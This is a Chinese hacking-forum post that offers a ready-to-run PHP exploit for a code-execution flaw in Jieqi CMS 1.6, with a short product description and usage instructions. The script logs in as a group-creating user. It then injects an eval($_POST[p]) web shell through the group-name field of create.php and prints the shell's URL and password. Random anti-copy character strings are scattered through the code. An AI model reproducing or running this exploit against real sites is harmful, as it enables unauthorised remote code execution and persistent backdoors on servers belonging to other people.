找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2082|回复: 0
打印 上一主题 下一主题

Jieqi(杰奇)CMS V1.6 PHP代码执行0day漏洞EXP

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 11:28:09 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
杰奇网站管理系统(简称 JIEQI CMS,中国国家版权局著作权登记号:2006SR03382)是一套模块化的网站架设系统,具备简单灵活、性能卓越、安全可靠等特性。我们为大家提供了目前最流行的杰奇小说连载系统、杰奇原创漫画系统及数字出版解决方案,并提供各类网站定制服务。% J! x' @) }; D3 R8 [

, s4 \" Q+ n0 M8 u% A- ^5 S; K0 T ) F+ `+ s# @5 L0 V
该系统存在多个远程安全漏洞,今天报告的这个是1.6版本的一个远程代码执行漏洞,应该有2年多历史了。1 f: {3 h( z! c( ]% [% b) L
需要有一个能创建圈子的用户。
+ @. g9 ^& n1 Q5 c 2 S; t7 A% O- E
<?php
( q7 ~2 h  W0 M( K  b6 N+ m
- B; \" w8 z5 V9 P9 Lprint_r('5 F; ^. Y4 c+ C. {6 z( O: d& k; O0 i
+---------------------------------------------------------------------------+5 n2 _% e; G( Z7 j0 T
Jieqi CMS V1.6 PHP Code Injection Exploit
* {1 W# s: L5 ^. D) {by flyh4t
! v8 t  F) c. _3 xmail: phpsec at hotmail dot com
- R/ R" [) F) W+ k9 ^# [( D2 @team: http://www.wolvez.org
1 d. v* n/ A* b- Z+---------------------------------------------------------------------------+* u* [7 v0 T& U6 @
'); /**# f  i/ M2 t& N# }
* works regardless of php.ini settings# \5 x* Q# d" a7 ]8 F9 [, K
*/ if ($argc < 5) { print_r('2 q  g. `+ l9 W# O* `5 r! Y
+---------------------------------------------------------------------------+
3 {4 s2 h6 K' G- D( T$ ]  iUsage: php '.$argv[0].' host path username
1 [; h3 a# r# G; p. w* W: n# K! I: ihost:      target server (ip/hostname)
# I. t! n( `4 k5 x, Gpath:      path to jieqicms % f! Q$ |; ~: j8 U. w
uasename:  a username who can create group: p. `) f. ~" F4 u
Example:9 d% H' N: O* h0 ~$ P/ V
php '.$argv[0].' localhost /jieqicmsv1.6/ vipuser1 password' U' q. ]/ C4 h0 g. j
+---------------------------------------------------------------------------+$ v0 {! b; T: @& l4 @# j
'); exit; } error_reporting(7); ini_set('max_execution_time', 0); $host = $argv[1]; $path = $argv[2]; $username = $argv[3]; $password = $argv[4]; /*get cookie*/ $cookie_jar_index = 'cookie.txt'; $url1 = "http://$host/$path/login.php"; $params = "password=$password&username=$username&usecookie=86400&submit=%26%23160%3B%B5%C7%26%23160%3B%26%23160%3B%C2%BC%26%23160%3B&action=login&jumpreferer=1"; $curl1 = curl_init(); curl_setopt($curl1, CURLOPT_URL, $url1); curl_setopt($curl1, CURLOPT_COOKIEJAR, $cookie_jar_index); curl_setopt($curl1, CURLOPT_POST, 1); curl_setopt($curl1, CURLOPT_POSTFIELDS, $params); ob_start(); $data1 = curl_exec($curl1); if ($data1 === FALSE) { echo "cURL Error: " . curl_error($ch); exit('exploit failed'); } curl_close($curl1); ob_clean(); /*get shell*/ $params ='-----------------------------23281168279961
/ T9 b& B" e+ J/ Q7 D7 yContent-Disposition: form-data; name="gname"5 N: P7 v* ~. m* x5 T% x

% l2 N( W2 ^- O7 a# n& L" v'; $params .="';"; $params .='eval($_POST[p]);//flyh4t# s% \4 J1 a# V' N% g! \
-----------------------------23281168279961, y, o2 M& @" t
Content-Disposition: form-data; name="gcatid"
3 J4 H6 N! F) S
1 M5 Z: R( ~* d6 _: W- J% q8 ]14 Q4 X, b9 L/ l" v+ u2 G  p
-----------------------------23281168279961# J5 A' A& |$ Z
Content-Disposition: form-data; name="gaudit"
( x4 M5 M% f1 ~& ~ 6 }2 V4 a; N* N8 s6 x
1
, O" H; G0 |* e8 F! h-----------------------------23281168279961
* k& e* O% |% \2 _4 v; fContent-Disposition: form-data; name="gbrief"
$ }; `; O; t7 c. R, z
- @( ]0 |3 E8 ~0 F3 h& a1
; ?& M1 o- g% U# J8 A6 o-----------------------------23281168279961--  V, F6 L' i6 i3 R" e3 |+ C
'; $url2 = "http://$host/$path/modules/group/create.php"; $curl2 = curl_init(); $header =array( 'Content-Type: multipart/form-data; boundary=---------------------------23281168279961' ); curl_setopt($curl2, CURLOPT_URL, $url2); curl_setopt($curl2, CURLOPT_HTTPHEADER, $header); curl_setopt($curl2, CURLOPT_COOKIEFILE, $cookie_jar_index); curl_setopt($curl2, CURLOPT_POST, 1); curl_setopt($curl2, CURLOPT_POSTFIELDS, $params); ob_start(); curl_exec($curl2); curl_close($curl2); $resp = ob_get_contents(); //$rs就是返回的内容 ob_clean(); www.2cto.com
' ]0 n/ v  }. \) s- {% [( I$ l! o
: M# a& i' y$ [9 H4 v2 I% bpreg_match('/g=([0-9]{1,4})/', $resp, $shell); //print_r($shell); //print_r($resp); $url = "http://$host/$path/files/group/userdir/0/$shell[1]/info.php"; echo "view you shell here(password:p)\r\n" ; echo $url;
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表